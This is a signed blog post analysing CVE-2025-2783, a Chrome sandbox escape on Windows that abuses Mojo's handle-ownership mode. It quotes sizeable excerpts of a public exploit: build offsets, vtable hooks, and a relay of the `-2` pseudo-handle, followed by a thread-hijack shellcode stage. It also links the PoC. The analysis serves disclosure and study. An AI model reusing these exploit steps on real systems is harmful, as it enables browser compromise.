-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## `GetCurrentThread()` returns `-2`\n\nWin32 has six pseudo-handle values. `(HANDLE)-1` is \"the calling process,\" returned by `GetCurrentProcess()`. `(HANDLE)-2` is \"the calling thread,\" returned by `GetCurrentThread()`. The remaining four (`-3` through `-6`) are token sentinels: process token, thread token, effective thread token, current session token. None of them are allocations in any process's handle table. They are integer constants the kernel resolves at every syscall that takes a `HANDLE` parameter, in the calling process's context.\n\nMicrosoft's documentation for `GetCurrentThread` is explicit about what this means across process boundaries:\n\n> The function cannot be used by one thread to create a handle that can be used by other threads to refer to the first thread. The handle is always interpreted as referring to the thread that is using it. A thread can create a \"real\" handle to itself that can be used by other threads, or inherited by other processes, by specifying the pseudo handle as the source handle in a call to the DuplicateHandle function.\n\nA pseudo-handle that crosses a process boundary as a raw integer does not refer to the thread that wrote it. It refers, retroactively, to whatever thread is current in the receiving process when the receiving process makes the next syscall on it.\n\nWin32 IPC frameworks handle this by translating eagerly. On send, the sender calls `DuplicateHandle(GetCurrentProcess(), h, recipient_process, ...)`. The kernel resolves the pseudo-handle in the sender's context, produces a real handle, and stores it in the recipient's handle table. The integer `-2` never makes it to the recipient as a `-2`. By the time the recipient sees it, it is an allocation pointing at the sender's thread, with whatever access rights `DUPLICATE_SAME_ACCESS` produces.\n\nChromium's Mojo, on the Windows ipcz driver, supports eager translation. It also supports a second handle-ownership mode the sender can claim to skip the translation step.\n\n## `HandleOwner::kRecipient`\n\n`mojo/core/ipcz_driver/transport.cc` defines two ownership states for transmitted Windows handles. The post-patch source still carries the original semantics in comments:\n\n```cpp\nenum class HandleOwner : uint8_t {\n // Encoded HANDLEs belong to the sending process. For the recipient to use\n // these, they must have a handle to the sending process.\n kSender,\n\n // Encoded HANDLEs belong to the recipient's process. The recipient can use\n // these handles as-is.\n kRecipient,\n};\n```\n\n`kSender` is the conservative path. The handle stays in the sender, the recipient is told the sender's process handle so it can `DuplicateHandle` to claim. `kRecipient` is the optimization. The sender asserts \"this handle is already in your handle table, decode it as-is.\" The decoder reads the raw integer the sender wrote and uses it directly.\n\n`kRecipient` exists for a real performance reason. The broker, having already duplicated a handle into a renderer for some prior reason, can later send that renderer a message referencing the handle by value without re-duplicating. Brokers do this all the time; renderers, by design, should not.\n\nIn the pre-patch transport, the sender's choice of `kSender` vs `kRecipient` is encoded into the message and the decoder honors it. No validation runs on whether the source transport had any right to claim `kRecipient`.\n\nThe 134.0.6998.178 fix tightens the encoder so the conservative path is the only one a non-broker, non-trusted-peer source can produce:\n\n```cpp\nhandle_owner =\n remote_process_.IsValid() &&\n (source_type() == kBroker || is_trusted_by_peer())\n ? HandleOwner::kRecipient\n : HandleOwner::kSender;\n```\n\nAnd it tightens the decoder so a `kRecipient` claim from anyone other than the broker, a trusted peer, or a same-process source is rejected:\n\n```cpp\nif (from_transport.destination_type() != Transport::kBroker &&\n !from_transport.is_peer_trusted() &&\n !remote_process.is_current()) {\n return MOJO_RESULT_INVALID_ARGUMENT;\n}\n// Do not trust non-broker endpoints to send handles which already belong\n// to us, unless the transport is explicitly marked as trustworthy.\n```\n\nThe renderer is not the broker, is not a trusted peer of the broker, and is not the broker's current process. After the patch the renderer's `kRecipient` claim is `MOJO_RESULT_INVALID_ARGUMENT`. Before the patch it was the optimization the renderer asked for.\n\n## The renderer wrote `-2`\n\nThe PoC's exploit DLL is the file `src/main.cc`. Its second-stage payload runs inside the renderer process, having been loaded there by the V8 chain in `demo/exp.html` (an `rtt` subtype-check bypass annotated in source as \"copy-pasted from b/350292240, b/351327767, b/360533914, b/368241697,\" the catalog of V8 sandbox primitives the same author had been collecting). That V8 chain is its own bug class and not the subject of this post. The handoff between the two stages happens at line 2776 of `exp.html`:\n\n```javascript\nconsole.debug(0x42, ab_shellcode, shellcode_size);\n```\n\n`main.cc`'s `DetourV8ConsoleDebug` hook is watching `console.debug` calls inside the renderer's V8 instance and intercepts whichever one passes the magic argument `0x42`. It captures the shellcode out of the `ArrayBuffer`, copies it into a freshly-allocated `PAGE_READWRITE` region, and calls `sandboxEscape()`.\n\n`sandboxEscape` walks Chromium's global ipcz state to find the renderer's `Node` and its link to the broker:\n\n```cpp\nvoid sandboxEscape() {\n auto* manager = ExploitManager::getInstance();\n\n ipcz::Node* node = reinterpret_cast(manager->getGNode());\n ipcz::NodeName nodeName = node->GetAssignedName();\n ipcz::NodeLink* brokerLink = node->GetBrokerLink().get();\n```\n\n`g_node` is resolved by static offset against `chrome.dll`'s base. The exploit ships a hardcoded table of offsets for the four Chrome 128 builds it targets:\n\n```cpp\nstd::unordered_map g_node_offset_map = {\n {\"128.0.6613.85\", 0x0d8b9538ULL},\n {\"128.0.6613.114\", 0x0d949538ULL},\n {\"128.0.6613.120\", 0x0d94a5b8ULL},\n {\"128.0.6613.138\", 0xd8fd5b8ULL}\n};\n```\n\nThe README claims compatibility up to 134.0.6998.177, which is the immediate predecessor of the patched 134.0.6998.178. The published binaries target 128 only; whoever cares to retarget needs only the new offsets.\n\nAfter locating the node and the broker link, the exploit installs a hook on the renderer's own `ipcz::NodeLink::OnAcceptRelayedMessage`, the inbound dispatch for relayed messages, by walking the vtable:\n\n```cpp\nuintptr_t brokerLinkVtable = *(uintptr_t*)brokerLink;\nuintptr_t onAcceptRelayedMessageAddr = *(uintptr_t*)(brokerLinkVtable + 264);\n```\n\nThen it constructs the request:\n\n```cpp\nbase::win::ScopedHandle scopedHandle(GetCurrentThread());\nmojo::PlatformHandle platformHandle(std::move(scopedHandle));\nauto* wrappedHandle = new mojo::core::ipcz_driver::WrappedPlatformHandle(\n std::move(platformHandle));\nipcz::DriverObject driverObject{node->driver(),\n reinterpret_cast(wrappedHandle)};\nipcz::Message msg(static_cast(0x69), static_cast(0x10));\nmsg.AppendDriverObject(std::move(driverObject));\n\nbrokerLink->RelayMessage(nodeName, msg);\n```\n\nA `Message` with arbitrary message id `0x69` and 16 bytes of data is constructed. A single `DriverObject` is appended, wrapping a `WrappedPlatformHandle` whose internal `HANDLE` was constructed from `GetCurrentThread()`. The raw value stored in that `HANDLE` slot is the constant `-2`. The renderer calls `brokerLink->RelayMessage(nodeName, msg)` with `nodeName` set to its own assigned name.\n\nThe receiving end of `RelayMessage` is the broker. From `third_party/ipcz/src/ipcz/node_link.cc`:\n\n```cpp\nvoid NodeLink::RelayMessage(const NodeName& to_node, Message& message) {\n ABSL_ASSERT(remote_node_type_ == Node::Type::kBroker);\n msg::RelayMessage relay;\n relay.v0()->destination = to_node;\n relay.v0()->data = relay.AllocateArray(message.data_view().size());\n relay.v0()->padding = 0;\n memcpy(relay.GetArrayData(relay.v0()->data),\n message.data_view().data(),\n message.data_view().size());\n relay.v0()->driver_objects =\n relay.AppendDriverObjects(message.driver_objects());\n Transmit(relay);\n}\n```\n\nThe renderer's outbound serialization runs on the renderer's transport. The inner `DriverObject` containing the `WrappedPlatformHandle` is encoded into the outer `RelayMessage`. With `HandleOwner::kRecipient` claimed by the renderer, the encoder skips the `DuplicateHandle` step. The raw integer `-2` is written into the wire bytes of the relay envelope, addressed to the broker.\n\nThe broker receives the `RelayMessage`. Its decoder, in the pre-patch transport, accepts the `kRecipient` claim without validating source. The broker's internal `WrappedPlatformHandle` for this `DriverObject` now stores `-2`. The broker has not called any kernel API on it. The kernel has not been asked to resolve anything yet. From the broker's perspective, it holds a handle to one of its own resources, value `-2`, type unknown.\n\nThe broker now consults `relay.v0()->destination`, which is the renderer's own node name, and packages the inner message into an `AcceptRelayedMessage` addressed back to the renderer. The broker's outbound serialization runs. The `DriverObject` array is encoded for the renderer.\n\nThe encoding step on the broker calls `::DuplicateHandle`:\n\n```cpp\n::DuplicateHandle(GetCurrentProcess(), // broker's pseudo-handle, resolves to broker\n raw_handle, // -2, the renderer's payload\n renderer_process, // real handle to renderer\n &out,\n 0, FALSE, DUPLICATE_SAME_ACCESS);\n```\n\n`GetCurrentProcess()` returns `(HANDLE)-1`. The kernel resolves `-1` against the broker because the broker is the caller. The source process is the broker. The source handle is `-2`. The kernel resolves `-2` against the source process, which is the broker, and produces a real handle to the broker's current thread, then duplicates it into the renderer's handle table with full access.\n\nThe broker has performed exactly the documented behavior of `DuplicateHandle` over a pseudo-handle. The kernel has performed exactly the documented behavior of `-2`. The chain produces a real, full-access handle inside the renderer process pointing at a thread inside the unsandboxed browser process. Nothing in this sequence is a bug in any single component, considered in isolation.\n\n## The hook reads the handle out of the inbound message\n\nThe renderer's `DetourOnAcceptRelayedMessage` is waiting for the response:\n\n```cpp\nbool __fastcall DetourOnAcceptRelayedMessage(ipcz::NodeLink* pThis,\n ipcz::msg::AcceptRelayedMessage& accept) {\n auto* manager = ExploitManager::getInstance();\n absl::Span data = accept.GetArrayView(accept.v0()->data);\n const uint8_t message_id =\n reinterpret_cast(data.data())->message_id;\n if (message_id == 0x69) {\n absl::Span driver_objects = accept.driver_objects();\n const ipcz::DriverObject& first_object = driver_objects[0];\n\n uintptr_t handle_value = first_object.handle();\n mojo::core::ipcz_driver::WrappedPlatformHandle* wrapped_handle_ptr =\n reinterpret_cast(handle_value);\n HANDLE handle = wrapped_handle_ptr->handle().GetHandle().Get();\n HANDLE dupHandle = nullptr;\n if (DuplicateHandle(GetCurrentProcess(), handle, GetCurrentProcess(),\n &dupHandle, 0, false, DUPLICATE_SAME_ACCESS)) {\n manager->setDuplicateHandle(dupHandle);\n }\n }\n ...\n}\n```\n\nThe hook duplicates the inbound handle into a stable slot on the singleton, then disables itself. The renderer's handle table now contains a duplicate of a duplicate, both pointing at a thread inside the broker process.\n\nThe remainder of the exploit is the well-rehearsed Windows thread-hijack: `SuspendThread` on the broker thread, `GetThreadContext` to back up state, repeatedly setting `RIP` to a `ff e7` (`jmp rdi`) gadget located in `chrome.dll` and looping the resumed thread through `VirtualAlloc`, `OpenProcess`, `ReadProcessMemory`, and `CreateThread` calls in the broker's process context, each call pausing back at an `eb fe` dead-loop gadget so the exploit can read the return value. The shellcode the V8 stage captured gets copied across via `ReadProcessMemory` reading from the renderer into broker-allocated `PAGE_EXECUTE_READWRITE` memory, then `CreateThread` runs it. Chrome's renderer sandbox is, at that point, irrelevant.\n\n## What the official record says\n\nNVD's description of CVE-2025-2783 reads:\n\n> Insufficient validation of untrusted input in Mojo on Windows prior to 134.0.6998.177 allowed a remote attacker who had compromised the renderer process to perform a sandbox escape via a malicious file.\n\n\"Insufficient validation of untrusted input\" describes the patch in the abstract. It does not describe the bug. The bug is that Mojo on Windows had an encoding mode in which the validity of the transmitted handle was something the sender decided. The renderer is a sandboxed process. The renderer chose `HandleOwner::kRecipient`, claimed the handle was already in the broker, and watched the broker resolve `-2` in its own context on the round trip back. There was no input to be validated, in the usual sense, because the entire structure of the bug is that a value-typed kernel identifier crossed a trust boundary as an integer constant. Mojo's job was not to validate the integer; Mojo's job was to never let the integer travel without resolving it first.\n\nThe patch chose the second framing. The encoder's new logic produces `kRecipient` only when `source_type() == kBroker || is_trusted_by_peer()`. The decoder's new logic refuses `kRecipient` from any source that does not satisfy the symmetric inverse. A renderer can still write `-2` into a handle field; it just cannot ship it without the broker calling `DuplicateHandle` against the renderer's process, which resolves `-2` against the renderer and produces a handle to the renderer's own thread, which is exactly the access the renderer already has.\n\n## The class\n\nThis is a trust inversion at the architectural layer where every Win32 sandboxed application places a broker between its renderer and the kernel. The renderer never had the right to mint a handle to a broker thread; it had the right to ask the broker to mint one. The pre-patch transport.cc handed it both, because the encoder and decoder were a direction-blind parser: one `EncodeHandle`/`DecodeHandle` pair for every direction Mojo speaks, with the `HandleOwner::kRecipient` claim valid on the wire from any source. The patch installed the qualifier (`source_type() == kBroker`, `destination_type() != Transport::kBroker`) that pins each role to its own grammar of legal claims.\n\nBelow the transport.cc fix sits an unpatchable primitive. Every Win32 IPC system that treats a `HANDLE` as a value-typed integer and supports any encoding path in which the value travels without a kernel-side translation is sitting on this primitive until it validates the source of the claim. Mojo's ipcz driver had `HandleOwner::kRecipient`. The pattern is not unique to Chromium. WinRT activations carry handles through IInspectable marshaling. COM marshaling has its own out-of-process handle modes. Sysmon-style ETW shippers, antivirus IPC channels, every Electron-shaped renderer-broker pair on Windows that rolled its own IPC, every one of them has at minimum the opportunity to invent this bug. The bug class is the gap between \"we transported a value\" and \"the kernel resolved a value.\" Anywhere the gap exists, `-2` is a working payload until the gap closes.\n\nThe same shape sits in Linux's namespaced filesystem APIs. `AT_FDCWD`, `/proc/self`, `/dev/fd/N` all resolve in the caller's namespace. Any FD-passing protocol that forwards file descriptors across `SCM_RIGHTS` without canonicalizing them lets the privileged forwarder's `openat`, `fstatat`, `readlinkat` resolve the sentinel against itself. CVE-2025-2783 is the Win32 surface of a class that has Linux exhibits and macOS exhibits and will have whatever exhibit the next sandbox-broker IPC framework writes.\n\n## The disclosure\n\nBoris Larin and Igor Kuznetsov reported CVE-2025-2783 to Google on March 20, 2025. Google shipped Chrome 134.0.6998.178 with the transport.cc fix on March 25, 2025. Five days, no embargo cycle, no coordinated reveal window. The active in-the-wild use, called Operation ForumTroll, sent Russian-language phishing emails inviting recipients to the Primakov Readings, a real Moscow-based academic conference series, hosted at lookalike landing pages that delivered the V8 type-confusion chain into the renderer. The renderer chain landed `main.cc`. `main.cc` wrote `-2` into a `WrappedPlatformHandle` and waited for the broker.\n\nKaspersky's first publication on March 25 documented the campaign and the targeting (Russian media organizations, academic institutions, government agencies, all Russian-language) and held back the bug mechanism. The technical write-up appeared on April 22, when Chrome's auto-update had reached enough of the deployed base. The CVE description has not been updated since. Chrome's release notes for 134.0.6998.178 credit the report. The transport.cc commit does not credit anyone, because Google's open-source commits do not, and the file is a normal-looking refactor in the Mojo Windows driver until you read it next to a `WrappedPlatformHandle` wrapping `GetCurrentThread()`.\n\nPoC: [ElianGonzi00/CVE-2025-2783](https://github.com/ElianGonzi00/CVE-2025-2783)\n","closing_line":"The renderer never sent a handle. It sent the number `-2` and waited for the broker to type it.","hook_md":"The renderer typed the integer `-2` into a Mojo IPC message, addressed the message to itself, and asked the broker to deliver it. `-2` is the value `GetCurrentThread()` returns on every Win32 process. It is not a thread handle in any process's handle table. It is a sentinel the kernel resolves against whoever last called a syscall on it. Chromium's ipcz transport on the broker side, in the act of forwarding the message, called `DuplicateHandle` against its own process. The kernel resolved `-2` against the broker. The renderer's handle table received a real, full-access reference to a thread inside the unsandboxed browser process. CVE-2025-2783, reported to Google on March 20, 2025 by Boris Larin and Igor Kuznetsov of Kaspersky's GReAT after the team discovered it in active use by an APT against Russian media organizations and academic institutions, patched in Chrome 134.0.6998.178 five days later, is what a public 778-line C++ exploit at `ElianGonzi00/CVE-2025-2783` does with that integer.","post_id":640,"slug":"chrome-cve-2025-2783-broker-resolved-the-renderers-minus-two","title":"CVE-2025-2783: Chrome's Broker Resolved the Renderer's `-2` Against Its Own Process","type":"initial","unreadable_sentence":"The renderer never sent a handle. It sent the number `-2` and waited for the broker to type it."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCauToKgAKCRDeZjl4jgkQ JrxlAQCLTBg6JVsGUNtkasht6N13oHsDBVEH5DxpbwaJxZhZ3QD/YxDozeHOP1ug t3RGo+jfrsqK5x8sYIg/uBsdR/93awI= =+Say -----END PGP SIGNATURE-----